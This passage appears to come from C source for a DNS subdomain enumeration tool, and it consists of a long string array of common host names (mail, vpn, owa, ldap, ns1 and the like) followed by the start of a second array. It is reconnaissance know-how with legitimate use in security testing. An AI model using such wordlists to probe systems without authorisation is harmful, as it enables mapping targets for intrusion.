"ip40", "ip41", "ip42", "ip43", "ip44", "ip45", "ip46", "ip47", "ip48", "ip49", "ip5", "ip50", "ip51", "ip52", "ip53", "ip54", "ip55", "ip56", "ip57", "ip58", "ip59", "ip6", "ip60", "ip61", "ip62", "ip63", "ip64", "ip65", "ip66", "ip67", "ip68", "ip69", "ip6test", "ip7", "ip70", "ip71", "ip72", "ip73", "ip74", "ip75", "ip76", "ip77", "ip78", "ip79", "ip8", "ip80", "ip81", "ip82", "ip83", "ip84", "ip85", "ip86", "ip87", "ip88", "ip89", "ip9", "ip90", "ip91", "ip92", "ip93", "ip94", "ip95", "ip96", "ip97", "ip98", "ip99", "ipad", "iphone", "iplanet", "ipmi", "ipmonitor", "ipod", "ipp", "iprop", "ipsec", "ipsec-gw", "iptv", "ipv4", "ipv6", "ipv6-gw", "ipv6-router", "ipv6.teredo", "ipv6cam", "ipv6forum", "ipv6gw", "ipv6test", "ipv6tv", "ipx", "iq", "ir", "irc", "irc6", "ircd", "ircs", "ircserver", "ireland", "iris", "iron", "ironport", "irssi", "irvine", "irving", "is", "isa", "isaiah", "isakmp", "isaserv", "isaserver", "isdnlog", "isis", "isisd", "isl-hub-01", "isl-hub-1", "ism", "iso-tsap", "isp", "israel", "issues", "ist", "isync", "it", "italy", "itchy", "its", "iu", "iv", "iw", "ix", "ix-2-2", "iy", "iz", "j", "j1", "j2", "ja", "jabber", "jack", "jade", "jaguar", "james", "janus", "japan", "java", "jb", "jc", "jd", "je", "jedi", "jerry", "jest", "jf", "jg", "jh", "ji", "jira", "jj", "jk", "jl", "jm", "jn", "jo", "jobs", "joe", "john", "jp", "jq", "jr", "jrun", "js", "jt", "ju", "juegos", "juliet", "juliette", "juniper", "juno", "jupiter", "jv", "jw", "jx", "jy", "jz", "k", "k1", "k2", "ka", "kamanda", "kansas", "kansascity", "kappa", "kazaa", "kb", "kc", "kd", "kdc1", "ke", "kentucky", "kepler", "kerberos", "kerberos-adm", "kerberos4", "kerberos_master", "kermit", "kernel", "keynote", "keys", "keyserver", "kf", "kg", "kh", "ki", "kilo", "king", "kirk", "kiwi", "kj", "kk", "kl", "klogin", "km", "kn", "knetd", "knowledgebase", "knoxville", "ko", "koala", "koe", "korea", "kp", "kpasswd", "kpop", "kq", "kr", "krb_prop", "krbupdate", "kronos", "krypton", "ks", "kshell", "kst-core-1", "kt", "ku", "kv", "kvm", "kw", "kx", "ky", "kz", "l", "l0", "l1", "l2f", "la", "lab", "lab1", "lab2", "laboratories", "laboratorio", "laboratory", "labs", "laforge", "lambda", "lan", "lan-gate", "laptop", "larry", "laser", "laserjet", "lasvegas", "launch", "lb", "lb01", "lb1", "lb2", "lc", "ld", "ldap", "ldap1", "ldap2", "ldaps", "le", "learn", "legacy", "legal", "legolas", "leng", "lenny", "leo", "leopard", "lf", "lg", "lh", "li", "lib", "libra", "library", "license", "light", "lim-core-1", "lima", "lincoln", "link", "linus", "linux", "linux0", "linux01", "linux02", "linux1", "linux2", "linuxconf", "lion", "lisa", "list", "lista", "listes", "lists", "listserv", "listserver", "lithium", "live", "lj", "lk", "ll", "llb1", "lm", "lms", "ln", "lo", "lo-0", "lo-0-0", "lo-1", "lo-22", "lo-6", "lo0", "lo0-0", "lo1", "lo2", "load", "loadbalancer", "loc-srv", "local", "localhost", "locsrv", "log", "log-server", "log0", "log01", "log02", "log1", "log2", "logfile", "logfiles", "logger", "logging", "loghost", "login", "logon", "logs", "loki", "london", "longbeach", "loop0", "loopback-0", "loopback-1", "loopback0", "loopback1", "lorien", "losangeles", "lotus", "lotusnote", "louisiana", "lp", "lq", "lr", "ls", "lt", "lu", "lucy", "luke", "luna", "lv", "lw", "lx", "lxxxix", "ly", "lync", "lynx", "lyris", "lz", "m", "m-net", "m1", "m10", "m11", "m12", "m13", "m2", "m3", "m4", "m5", "m6", "m7", "m7i", "ma", "mac", "mac1", "mac10", "mac11", "mac2", "mac3", "mac4", "mac5", "mach", "macintosh", "macos", "macosx", "madrid", "maduin", "mag", "maggie", "magic", "mail", "mail-gw", "mail-in", "mail-out", "mail0", "mail01", "mail02", "mail03", "mail04", "mail05", "mail06", "mail07", "mail1", "mail10", "mail11", "mail12", "mail13", "mail14", "mail15", "mail16", "mail17", "mail18", "mail19", "mail2", "mail20", "mail21", "mail22", "mail23", "mail24", "mail25", "mail26", "mail27", "mail28", "mail29", "mail3", "mail30", "mail31", "mail32", "mail33", "mail4", "mail5", "mail6", "mail7", "mail8", "mail9", "maila", "mailb", "mailbox", "mailer", "mailer1", "mailer2", "mailgate", "mailgate1", "mailgate2", "mailgw", "mailgw1", "mailgw2", "mailgw3", "mailhost", "mailhost1", "mailhost2", "mailhub", "mailin", "mailing", "maillist", "maillists", "mailman", "mailout", "mailq", "mailrelay", "mailroom", "mails", "mailserv", "mailserver", "mailsite", "mailsrv", "mailtest", "mailx", "main", "maine", "maint", "mall", "manage", "management", "manager", "mandelbrot", "mandelspawn", "mango", "manufacturing", "map", "mapas", "maple", "maps", "mapserver", "marge", "maria", "mark", "marketing", "marketplace", "mars", "martin", "marvin", "mary", "maryland", "massachusetts", "master", "matrix", "max", "maxwell", "mb", "mbox", "mc", "mci", "md", "mdaemon", "mdm", "mdns", "me", "media", "medusa", "meet", "meeting", "member", "members", "memphis", "mercury", "merkur", "merlin", "messages", "messenger", "meta", "metis", "mf", "mg", "mgmt", "mh", "mi", "miami", "michael", "michigan", "mickey", "microsoft-ds", "midwest", "miembros", "mike", "milwaukee", "minerva", "mini", "minneapolis", "minnesota", "miranda", "mirror", "mirrors", "mis", "mississippi", "missouri", "mj", "mj0", "mj1", "mk", "ml", "mm", "mmcc", "mms", "mn", "mng", "mngt", "mo", "mob", "mobile", "mobileauth", "mobilemail", "modem", "moe", "moira_db", "moira_update", "moira_ureg", "mojito", "mom", "mon", "mon1", "mon2", "monet", "monitor", "monitor01", "monitoring", "monkey", "monster", "montana", "moodle", "moon", "mordor", "moria", "morpheus", "moscow", "mout", "movies", "movil", "moz", "mozart", "mp", "mp3", "mpeg", "mpg", "mpls", "mq", "mr", "mrtd", "mrtg", "ms", "ms-exchange", "ms-sql", "ms1", "ms2", "msexchange", "msnp", "msp", "mssql", "mssql0", "mssql01", "mssql1", "mt", "mta", "mta01", "mta1", "mta10", "mta11", "mta12", "mta13", "mta14", "mta15", "mta16", "mta17", "mta18", "mta19", "mta2", "mta20", "mta21", "mta22", "mta23", "mta24", "mta25", "mta26", "mta27", "mta28", "mta29", "mta3", "mta30", "mta31", "mta32", "mta33", "mta34", "mta35", "mta36", "mta37", "mta38", "mta39", "mta4", "mta40", "mta41", "mta42", "mta43", "mta44", "mta45", "mta46", "mta47", "mta49", "mta5", "mta50", "mta51", "mta53", "mta54", "mta55", "mta57", "mta58", "mta59", "mta6", "mta60", "mta7", "mta79", "mta8", "mta9", "mtp", "mtu", "mu", "multimedia", "munin", "music", "mustang", "mv", "mw", "mx", "mx0", "mx01", "mx02", "mx03", "mx04", "mx05", "mx06", "mx1", "mx10", "mx11", "mx12", "mx13", "mx14", "mx15", "mx16", "mx17", "mx18", "mx19", "mx2", "mx20", "mx21", "mx22", "mx23", "mx24", "mx25", "mx26", "mx27", "mx28", "mx29", "mx3", "mx30", "mx31", "mx32", "mx33", "mx34", "mx35", "mx36", "mx37", "mx38", "mx39", "mx4", "mx40", "mx41", "mx42", "mx43", "mx44", "mx45", "mx46", "mx47", "mx48", "mx49", "mx5", "mx50", "mx51", "mx52", "mx53", "mx54", "mx55", "mx56", "mx57", "mx58", "mx59", "mx6", "mx60", "mx61", "mx62", "mx63", "mx64", "mx65", "mx66", "mx67", "mx68", "mx69", "mx7", "mx70", "mx71", "mx72", "mx73", "mx74", "mx75", "mx76", "mx77", "mx78", "mx79", "mx8", "mx80", "mx81", "mx82", "mx83", "mx84", "mx85", "mx86", "mx87", "mx88", "mx89", "mx9", "mx90", "mx91", "mx92", "mx93", "mx94", "mx95", "mx96", "mx97", "mx98", "mx99", "my", "mymail", "mysql", "mysql0", "mysql01", "mysql1", "mz", "n", "n1", "n2", "na", "nagios", "name", "names", "nameserv", "nameserver", "narf", "nas", "nas1", "nas2", "nashville", "nat", "nat1", "nat2", "nat3", "nb", "nbp", "nc", "nd", "ndn-gw", "nds", "ndtp", "ne", "nebraska", "nebula", "nelson", "nemesis", "nemo", "neo", "neon", "neptun", "neptune", "nessus", "net", "net1", "net2", "net3", "net4", "netapp", "netbios", "netdata", "netflow", "netgear", "netlab", "netmail", "netmeeting", "netmon", "netnews", "netscaler", "netscreen", "netstat", "netstats", "netwall", "network", "network-via-ctc", "nevada", "never", "new", "newhampshire", "newjersey", "newmail", "newmexico", "neworleans", "news", "newsfeed", "newsfeed2", "newsfeeds", "newsgroups", "newsletter", "newton", "newyork", "newzealand", "nextstep", "nexus", "nf", "nfs", "ng", "nh", "ni", "nic", "nigeria", "ninstall", "nj", "nk", "nl", "nm", "nms", "nn", "nntp", "nntps", "no", "no-dns-yet", "noc", "noclog", "node", "node1", "node2", "node3", "node4", "node5", "nokia", "nombres", "nora", "north", "northcarolina", "northdakota", "northeast", "northwest", "notebook", "notes", "noticias", "nova", "novell", "november", "np", "nq", "nqs", "nr", "ns", "ns-", "ns-cache", "ns-ext", "ns0", "ns00", "ns01", "ns02", "ns03", "ns1", "ns10", "ns11", "ns12", "ns15", "ns2", "ns3", "ns4", "ns5", "ns6", "ns7", "ns8", "ns9", "nsa", "nsauth1", "nsca", "nscache", "nscache1", "nscache2", "nss", "nsv6", "nt", "nt4", "nt40", "ntalk", "ntmail", "ntp", "ntp0", "ntp1", "ntp2", "ntp3", "ntserver", "nu", "null", "nut", "nv", "nw", "nx", "ny", "nz", "o", "o1", "o2", "oa", "oak", "oakland", "ob", "obelix", "oberon", "oc", "oc48-pos9-0", "ocean", "ocs", "ocsp", "octopus", "od", "odin", "oe", "of", "office", "office2", "offices", "og", "oh", "ohio", "oi", "oj", "ojp-apply", "ok", "oklahoma", "oklahomacity", "ol", "old", "oldmail", "oleane-gw", "om", "oma", "omaha", "omega", "omicron", "omirr", "omniorb", "on", "one", "online", "ontario", "onyx", "oo", "op", "opac", "opal", "open", "openbsd", "openview", "openvpn", "operations", "ops", "ops0", "ops01", "ops02", "ops1", "ops2", "opsware", "oq", "or", "ora", "oracle", "orange", "oraportal", "order", "orders", "oregon", "origin", "orion", "orlando", "os", "oscar", "osiris", "ospf6d", "ospfapi", "ospfd", "osx", "ot", "otrs", "ou", "out", "outbound", "outbound1", "outbound2", "outgoing", "outlook", "outside", "ov", "ow", "owa", "owa01", "owa02", "owa1", "owa2", "owl", "ows", "ox", "oxnard", "oxygen", "oy", "oz", "p", "p0-0", "p1", "p1-0", "p1-960", "p10", "p11", "p12", "p2", "p3", "p4", "p5", "p6", "p7", "pa", "pa1", "pa2", "pa67", "packages", "page", "pager", "pages", "paginas", "pan", "panda", "pandora", "panel", "panoramix", "panther", "papa", "paris", "parners", "partner", "partners", "pascal", "pat", "patch", "patches", "paul", "pawserv", "payroll", "pb", "pbx", "pc", "pc01", "pc02", "pc03", "pc04", "pc05", "pc06", "pc07", "pc08", "pc09", "pc1", "pc10", "pc101", "pc11", "pc12", "pc13", "pc14", "pc15", "pc16", "pc17", "pc18", "pc19", "pc2", "pc20", "pc21", "pc22", "pc23", "pc24", "pc25", "pc26", "pc27", "pc28", "pc29", "pc3", "pc30", "pc31", "pc32", "pc33", "pc34", "pc35", "pc36", "pc37", "pc38", "pc39", "pc4", "pc40", "pc41", "pc42", "pc43", "pc44", "pc45", "pc46", "pc47", "pc48", "pc49", "pc5", "pc50", "pc51", "pc52", "pc53", "pc54", "pc55", "pc56", "pc57", "pc58", "pc59", "pc6", "pc60", "pc61", "pc62", "pc63", "pc64", "pc65", "pc66", "pc67", "pc68", "pc69", "pc7", "pc70", "pc71", "pc72", "pc73", "pc74", "pc75", "pc76", "pc77", "pc78", "pc79", "pc8", "pc80", "pc81", "pc82", "pc83", "pc84", "pc85", "pc86", "pc87", "pc88", "pc89", "pc9", "pc90", "pc91", "pc92", "pc93", "pc94", "pc95", "pc96", "pc97", "pc98", "pc99", "pcanywhere", "pcmail", "pcrd", "pd", "pda", "pdc", "pe", "peach", "pegasus", "pendrell", "penguin", "pennsylvania", "penti", "people", "peoplesoft", "perseus", "personal", "peter", "pf", "pg", "pgp", "ph", "phantom", "phi", "philadelphia", "phobos", "phoebe", "phoenix", "phoeniz", "phone", "phones", "photo", "photon", "photos", "php", "pi", "picard", "picasso", "pics", "pictures", "pilot", "pine", "pink", "pipex-gw", "pironet", "pittsburgh", "pix", "pj", "pk", "pki", "pl", "plano", "platinum", "plato", "plesk", "plum", "pluto", "pluton", "pm", "pm1", "pm3", "pn", "po", "po-1", "po-2", "po1", "po100", "po2", "poczta", "polaris", "policy", "polls", "pollux", "polycom", "pool", "pop", "pop2", "pop3", "pop3s", "port", "portal", "portal2", "portalipv6", "portals", "portfolio", "portland", "pos1-0", "poseidon", "posix", "post", "posta", "postales", "postaweb", "postgresql", "posti", "postman", "postmaster", "postoffice", "power", "powerschool", "powertech-gw", "pp", "ppp", "ppp001", "ppp002", "ppp003", "ppp01", "ppp02", "ppp03", "ppp1", "ppp10", "ppp11", "ppp12", "ppp13", "ppp14", "ppp15", "ppp16", "ppp17", "ppp18", "ppp19", "ppp2", "ppp20", "ppp21", "ppp22", "ppp23", "ppp24", "ppp25", "ppp26", "ppp27", "ppp28", "ppp29", "ppp3", "ppp30", "ppp31", "ppp32", "ppp33", "ppp34", "ppp35", "ppp36", "ppp37", "ppp38", "ppp39", "ppp4", "ppp40", "ppp41", "ppp42", "ppp43", "ppp44", "ppp45", "ppp46", "ppp5", "ppp6", "ppp7", "ppp8", "ppp9", "pptp", "pq", "pr", "pre-prod", "predict", "prensa", "preprod", "press", "preview", "print", "printer", "printserv", "printserver", "priv", "privacy", "privat", "private", "prj", "pro", "problemtracker", "prod", "production", "products", "profiles", "project", "projects", "prometheus", "promo", "prop", "proteus", "proton", "proxy", "proxy1", "proxy2", "proxy3", "prueba", "pruebas", "ps", "psi", "pss", "pt", "ptr", "pu", "pub", "public", "pubs", "puck", "puma", "puppet", "purple", "pv", "pw", "pwdgen", "px", "py", "pz", "q", "qa", "qb", "qc", "qd", "qe", "qf", "qg", "qh", "qi", "qj", "qk", "ql", "qm", "qmail", "qmtp", "qn", "qo", "qotd", "qp", "qq", "qr", "qs", "qt", "qu", "quake", "quark", "quebec", "queen", "quotes", "qv", "qw", "qx", "qy", "qz", "r", "r00", "r01", "r02", "r1", "r2", "r2d2", "r3", "r7-pao1", "ra", "rabbit", "radio", "radius", "radius1", "radius2", "radon", "rainbow", "rapidsite", "raptor", "ras", "raven", "rb", "rc", "rcs", "rd", "rdns", "rdp", "re", "read", "real", "realserver", "recruiting", "recursive", "red", "redhat", "redirect", "redirect1", "redirect2", "redmine", "ref", "reference", "reg", "register", "registro", "registry", "regs", "relay", "relay01", "relay02", "relay1", "relay2", "relay3", "releases", "rem", "remote", "remote2", "remotefs", "remstats", "report", "reporting", "reports", "res", "res1", "res2", "research", "reseller", "reserved", "resolv1", "resolver", "resolver1", "resolver2", "restricted", "resumenes", "rev", "reverse", "rf", "rfe", "rg", "rh", "rhea", "rho", "rhodeisland", "ri", "rigel", "ripd", "ripe", "ripngd", "ris", "rj", "rje", "rk", "rl", "rlp", "rm", "rmi", "rn", "rnd", "rns2", "ro", "robert", "robin", "robinhood", "rock", "romeo", "romulus", "root", "rootd", "rose", "route", "router", "router-via-ctc", "router1", "router2", "rp", "rplay", "rptp", "rq", "rr", "rr1", "rs", "rs1", "rs2", "rss", "rsync", "rt", "rt1", "rt2", "rtelnet", "rtmp", "rtr", "rtr01", "rtr1", "rtsp", "ru", "ruby", "rune", "rv", "rw", "rwhois", "rx", "ry", "rz", "s", "s0", "s0-0", "s0-1", "s01", "s02", "s1", "s10", "s11", "s12", "s13", "s14", "s15", "s16", "s17", "s18", "s19", "s2", "s20", "s21", "s22", "s23", "s24", "s25", "s26", "s27", "s28", "s29", "s3", "s30", "s31", "s32", "s33", "s34", "s35", "s36", "s37", "s38", "s39", "s4", "s40", "s41", "s42", "s43", "s44", "s45", "s46", "s47", "s48", "s49", "s5", "s50", "s51", "s52", "s53", "s54", "s55", "s56", "s57", "s58", "s59", "s6", "s60", "s61", "s62", "s63", "s64", "s65", "s66", "s67", "s68", "s69", "s7", "s70", "s71", "s72", "s73", "s74", "s75", "s76", "s77", "s78", "s79", "s8", "s80", "s81", "s82", "s83", "s84", "s85", "s86", "s87", "s88", "s89", "s9", "s90", "s91", "s92", "s93", "s94", "s95", "s96", "s97", "s98", "s99", "sa", "sac", "sacramento", "sadmin", "safe", "saft", "sage", "sakura", "sales", "saltlake", "sam", "sample", "samples", "san", "sanantonio", "sandbox", "sandiego", "sane", "sanfrancisco", "sanjose", "sap", "sapgw", "sapphire", "sara", "saskatchewan", "saturn", "sauron", "sb", "sbs", "sc", "scan", "scanner", "scanner01", "schedules", "scotland", "scotty", "sd", "se", "search", "search6", "seattle", "sec", "sec1", "secondary", "secret", "secure", "secure1", "secure2", "secured", "securemail", "securid", "security", "seeweb-gw", "seguro", "send", "sendmail", "sentinel", "sentry", "seri", "serial", "serv", "serv1", "serv2", "server", "server01", "server02", "server03", "server1", "server10", "server11", "server12", "server2", "server3", "server4", "server5", "server6", "server7", "server8", "server9", "servers", "serveur", "service", "services", "services1", "servicio", "servicios", "servidor", "setup", "sf", "sftp", "sg", "sh", "shadow", "shannon", "share", "shared", "sharepoint", "shareware", "shark", "shell", "shell1", "shipping", "shiva", "shop", "shoppers", "shopping", "si", "sidn2", "siebel", "sierra", "sieve", "sigma", "signin", "signup", "silc", "silver", "sim", "simon", "sip", "sip-tls", "sirius", "site", "sites", "six", "sixxs", "sixxs-gw", "sj", "sk", "skkserv", "sky", "skynet", "skywalker", "sl", "slackware", "slmail", "sm", "smail", "smart", "smc", "sml", "smokeping", "sms", "smsqp", "smtp", "smtp-out", "smtp01", "smtp02", "smtp03", "smtp1", "smtp10", "smtp11", "smtp12", "smtp13", "smtp14", "smtp15", "smtp16", "smtp17", "smtp18", "smtp2", "smtp20", "smtp21", "smtp22", "smtp3", "smtp4", "smtp5", "smtp6", "smtp7", "smtp8", "smtp9", "smtphost", "smtpout", "smux", "sn", "snail", "sndv-pts01", "sniffer", "snmp", "snmp-trap", "snmpd", "snoopy", "snort", "snow", "snpp", "so", "so-0-0-0", "so-0-0-1", "so-0-1-0", "so-1-0-0", "so-2-0-0", "soap", "socal", "socios", "socks", "socrates", "software", "sokrates", "sol", "solar", "solaris", "solutions", "sonic", "soporte", "source", "sourcecode", "sourcesafe", "south", "southcarolina", "southdakota", "southeast", "southwest", "sp", "space", "spain", "spam", "spamd", "spamfilter", "spare", "speed", "speedtest", "speedy", "spider", "spiderman", "spike", "spl", "splunk", "spock", "spokane", "spot", "springfield", "sprint", "sq", "sqa", "sql", "sql0", "sql01", "sql1", "sql2", "sql7", "sqlserver", "squid", "squirrel", "squirrelmail", "sr", "src", "srv", "srv01", "srv02", "srv03", "srv1", "srv2", "srv3", "srv4", "srv5", "ss", "ssc", "ssh", "ssl", "ssl-vpn", "ssl0", "ssl01", "ssl1", "sslvpn", "ssmtp", "sso", "st", "staff", "stage", "staging", "stan", "star", "star-gw", "stargate", "start", "stat", "static", "station1", "station2", "station3", "station4", "statistics", "stats", "status", "stg", "stinky", "stlouis", "sto-cr1", "sto-cr2", "sto-cr3", "stock", "storage", "store", "storefront", "storm", "stream", "streaming", "stronghold", "strongmail", "student", "students", "studio", "styx", "su", "sub", "submission", "submit", "subversion", "suche", "sun", "sun0", "sun01", "sun02", "sun1", "sun2", "sunrpc", "supdup", "superman", "supfiledbg", "supfilesrv", "supplier", "suppliers", "support", "sur01", "survey", "surveys", "suucp", "sv", "sv1", "sv2", "svc", "svn", "svr01", "svr02", "svr1", "sw", "sw-core1", "sw0", "sw01", "sw1", "sw2", "sw3", "swat", "sweden", "switch", "switch1", "switch2", "switzerland", "sx", "sy", "sybase", "sydney", "sync", "sys2", "sysadmin", "sysback", "syslog", "syslogs", "sysrqd", "systat", "system", "sz", "szerver1", "szerver2", "szerver3", "szerver4", "szerver5", "t", "t1", "t2", "t3", "ta", "tacacs", "tacacs-ds", "tacoma", "tail", "taiwan", "talk", "tampa", "tango", "tao", "tarsier", "tau", "taurus", "tb", "tc", "tc1", "tcl", "tcpmux", "td", "te", "te-1-1", "te-1-2", "te-1-3", "te-2-1", "te-2-2", "te-3-1", "te2-1", "team", "tech", "technology", "techsupport", "telephone", "telephony", "telnet", "telnets", "temp", "tempo", "ten1-0-0", "tennessee", "teredo", "teredo-gw", "teredo-relay", "term", "terminal", "terminalserver", "termserv", "terra", "terror", "tesla", "test", "test1", "test2", "test2k", "test3", "test4", "test6", "test6www", "testajax", "testasp", "testaspnet", "testbed", "testcf", "testing", "testip6", "testipv6", "testjsp", "testlab", "testlinux", "testphp", "testserver", "testsite", "testsql", "testxp", "tethys", "texas", "tf", "tfido", "tftp", "tg", "tge-1-1", "tge8-1", "tge9-1", "th", "thailand", "the", "theta", "thinktank", "thomas", "thor", "thunder", "ti", "tick", "ticket", "tickets", "tienda", "tiger", "time", "timed", "tinc", "titan", "titania", "titanium", "tivoli", "tj", "tk", "tl", "tm", "tn", "tns", "to", "toad", "tokyo", "toledo", "tom", "tomocha", "tool", "tools", "top", "topaz", "toplayer", "tornado", "toronto", "tour", "tp", "tproxy", "tq", "tr", "trac", "tracker", "tracker0", "traffic", "train", "training", "transfer", "transfers", "traveler", "trinidad", "trinity", "triton", "trn1-iana", "ts", "ts01", "ts1", "ts2", "tsv01", "tt", "tu", "tu-0", "tu0", "tu1", "tu2", "tu3", "tu5", "tucson", "tulsa", "tunnel", "tunnel2", "tunnelbroker", "turing", "turtle", "tux", "tv", "tw", "twcc", "two", "tx", "ty", "tz", "u", "ua", "uat", "ub", "ubuntu", "uc", "ud", "uddi", "ue", "uer01", "uf", "ug", "uh", "uhura", "ui", "uj", "uk", "ul", "ulistserv", "ultracopier", "um", "un", "unassigned", "undernet-gw", "uni", "uniform", "union", "unitedkingdom", "unitedstates", "unix", "unixware", "unknown", "unused", "uo", "up", "up0-dc", "update", "updates", "upload", "uploads", "upp-cr1", "ups", "ups1", "upsilon", "uq", "ur", "ur01", "ur02", "ur03", "ur04", "uranus", "urchin", "us", "us1", "usa", "usenet", "user", "user1", "user10", "user11", "user12", "user13", "user14", "user15", "user16", "user17", "user18", "user19", "user2", "user20", "user21", "user22", "user23", "user24", "user25", "user26", "user27", "user28", "user29", "user3", "user30", "user31", "user32", "user33", "user34", "user35", "user36", "user37", "user38", "user39", "user4", "user40", "user41", "user42", "user43", "user44", "user45", "user46", "user47", "user48", "user49", "user5", "user50", "user51", "user52", "user53", "user54", "user55", "user56", "user57", "user58", "user59", "user6", "user60", "user61", "user62", "user63", "user64", "user65", "user66", "user67", "user68", "user69", "user7", "user70", "user71", "user72", "user73", "user74", "user75", "user76", "user77", "user78", "user79", "user8", "user80", "user81", "user82", "user83", "user84", "user85", "user86", "user87", "user88", "user89", "user9", "user90", "user91", "user92", "user93", "user94", "user95", "user96", "user97", "user98", "user99", "users", "ut", "utah", "utilities", "uu", "uucp", "uucp-path", "uv", "uw", "ux", "uy", "uz", "v", "v1", "v2", "v3", "v6", "v6gw", "v6www", "va", "vaak", "vab-core-1", "vab2-core-1", "vader", "vantive", "vault", "vb", "vboxd", "vc", "vcenter", "vd", "vds", "ve", "ve1", "ve8", "vega", "vegas", "vend", "vendors", "ventas", "venus", "vermont", "vf", "vg", "vh", "vhost", "vi", "victor", "video", "video6", "videos", "view", "viking", "violet", "vip", "viper", "virginia", "virgo", "virtual", "vision", "vista", "vj", "vk", "vl", "vl-6", "vl10", "vl100", "vl101", "vl102", "vl6-at", "vlad", "vlan-100", "vlan1", "vlan100", "vlan101", "vlan2", "vlan3", "vm", "vm0", "vm01", "vm1", "vm2", "vm3", "vm4", "vmail", "vmm", "vmserver", "vmware", "vn", "vnc", "vnetd", "vo", "vod", "voice", "voicemail", "voip", "voip1", "vopied", "vortex", "vox", "voyager", "vp", "vpn", "vpn0", "vpn01", "vpn02", "vpn1", "vpn2", "vpn3", "vpn4", "vps", "vps01", "vps1", "vps2", "vps3", "vq", "vr", "vs", "vs1", "vserv", "vserver", "vt", "vu", "vulcan", "vv", "vw", "vwww01", "vx", "vy", "vz", "w", "w-03", "w-04", "w01", "w1", "w2", "w3", "w4", "wa", "wais", "wall", "wallet", "wam", "wan", "wap", "warehouse", "warlord", "washington", "water", "watson", "wave", "wb", "wbm0", "wbm1", "wc", "wc3", "wd", "we", "weather", "web", "web0", "web01", "web02", "web03", "web04", "web1", "web10", "web11", "web12", "web2", "web3", "web4", "web5", "web6", "web7", "web8", "web9", "webaccess", "webadmin", "webalizer", "webapps", "webapps03", "webboard", "webcache", "webcam", "webcast", "webconf", "webct", "webdev", "webdocs", "webfarm", "webhelp", "webhost", "weblib", "weblog", "weblogic", "webmail", "webmail01", "webmail1", "webmail2", "webmaster", "webmin", "webproxy", "webring", "webs", "webserv", "webserver", "webservice", "webservices", "website", "websites", "websphere", "websrv", "websrvr", "webstats", "webster", "webstore", "websvr", "webtest", "webtest01", "webtrends", "webvpn", "welcome", "west", "westvirginia", "wf", "wg", "wh", "wh1", "whiskey", "white", "who", "whois", "wi", "wichita", "wifi", "wiki", "wililiam", "willow", "win", "win01", "win02", "win1", "win2", "win2000", "win2003", "win2008", "win2k", "win2k3", "win2k8", "wind", "windows", "windows01", "windows02", "windows1", "windows2", "windows2000", "windows2003", "windows2008", "windows7", "windowsvista", "windowsxp", "wingate", "winnt", "winproxy", "wins", "winserve", "winxp", "wire", "wireless", "wisconsin", "wj", "wk", "wl", "wlan", "wlan6", "wm", "wn", "wo", "wolf", "wordpress", "work", "world", "wp", "wpad", "wq", "wr", "write", "ws", "ws01", "ws02", "ws1", "ws10", "ws11", "ws12", "ws13", "ws14", "ws15", "ws16", "ws17", "ws18", "ws19", "ws2", "ws20", "ws21", "ws22", "ws23", "ws24", "ws25", "ws26", "ws27", "ws28", "ws29", "ws3", "ws30", "ws31", "ws32", "ws33", "ws34", "ws35", "ws36", "ws37", "ws38", "ws39", "ws4", "ws40", "ws41", "ws42", "ws43", "ws44", "ws45", "ws46", "ws47", "ws48", "ws49", "ws5", "ws50", "ws51", "ws52", "ws53", "ws54", "ws55", "ws56", "ws57", "ws6", "ws60", "ws7", "ws8", "ws9", "wsus", "wt", "wu", "wusage", "wv", "ww", "ww0", "ww00", "ww01", "ww02", "ww03", "ww1", "ww2", "ww3", "www", "www-", "www-0", "www-00", "www-01", "www-02", "www-03", "www-1", "www-2", "www-3", "www-6", "www-int", "www-ipv6", "www-test", "www-v6", "www-v6v4", "www0", "www00", "www01", "www02", "www03", "www1", "www10", "www11", "www12", "www13", "www14", "www2", "www3", "www4", "www5", "www6", "www6test", "www7", "www8", "www9", "wwwchat", "wwwdev", "wwwipv6", "wwwmail", "wwwtest", "wwwtest6", "wwwv6", "wx", "wy", "wyoming", "wz", "x", "x-ray", "x1", "x11", "xa", "xanthus", "xb", "xc", "xcii", "xd", "xdmcp", "xe", "xe-0-0-0", "xe-0-1-0", "xe-0-2-0", "xe-0-2-0-0", "xe-0-3-0", "xe-1-0-0", "xe-1-1-0", "xe-1-2-0-0", "xe-1-3-0", "xe-2-0-0", "xe-2-1-0", "xe-3-0-0", "xen", "xen1", "xenon", "xerox", "xf", "xg", "xh", "xi", "xj", "xk", "xl", "xlogan", "xm", "xmail", "xml", "xmpp-client", "xmpp-server", "xn", "xo", "xp", "xpilot", "xq", "xr", "xs", "xserve", "xt", "xtel", "xtell", "xu", "xv", "xw", "xx", "xy", "xz", "y", "ya", "yankee", "yb", "yc", "yd", "ye", "yellow", "yf", "yg", "yh", "yi", "yj", "yk", "yl", "ym", "yn", "yo", "yoda", "you", "young", "your", "yp", "yq", "yr", "ys", "yt", "yu", "yv", "yw", "yx", "yy", "yz", "z", "z-log", "z3950", "za", "zabbix", "zaphod", "zb", "zc", "zd", "ze", "zebra", "zebrasrv", "zen", "zera", "zero", "zeta", "zeus", "zf", "zg", "zh", "zi", "zimbra", "zion", "zip", "zixvpm", "zj", "zk", "zl", "zlog", "zm", "zn", "zo", "zope", "zp", "zq", "zr", "zs", "zserv", "zt", "zu", "zulu", "zv", "zw", "zx", "zy", "zz", ""}; char *sub_uber[] = {"0", "00", "01", "02", "03", "04", "05", "06", "07", "08", "09", "0a", "0b", "0c", "0d", "0e", "0f", "1", "10", "10gigabitethernet1-2", "11", "12", "13", "14", "15", "16", "17", "18", "19", "1a", "1b", "1c", "1cust1", "1cust10", "1cust11", "1cust12", "1cust13", "1cust14", "1cust15", "1cust16", "1cust17", "1cust18", "1cust19", "1cust2", "1cust20", "1cust21", "1cust22", "1cust23", "1cust24", "1cust25", "1cust26", "1cust27", "1cust28", "1cust29", "1cust3", "1cust30", "1cust31", "1cust32", "1cust33", "1cust34", "1cust35", "1cust36", "1cust37", "1cust38", "1cust39", "1cust4", "1cust40", "1cust41", "1cust42", "1cust43", "1cust44", "1cust45", "1cust46", "1cust47", "1cust48", "1cust49", "1cust5", "1cust50", "1cust51", "1cust52", "1cust53", "1cust54", "1cust55", "1cust56", "1cust57", "1cust58", "1cust59", "1cust6", "1cust60", "1cust61", "1cust62", "1cust63", "1cust64", "1cust65", "1cust66", "1cust67", "1cust68", "1cust69", "1cust7", "1cust70", "1cust71", "1cust72", "1cust73", "1cust74", "1cust75", "1cust76", "1cust77", "1cust78", "1cust79", "1cust8", "1cust80", "1cust81", "1cust82", "1cust83", "1cust84", "1cust85", "1cust86", "1cust87", "1cust88", "1cust89", "1cust9", "1cust90", "1cust91", 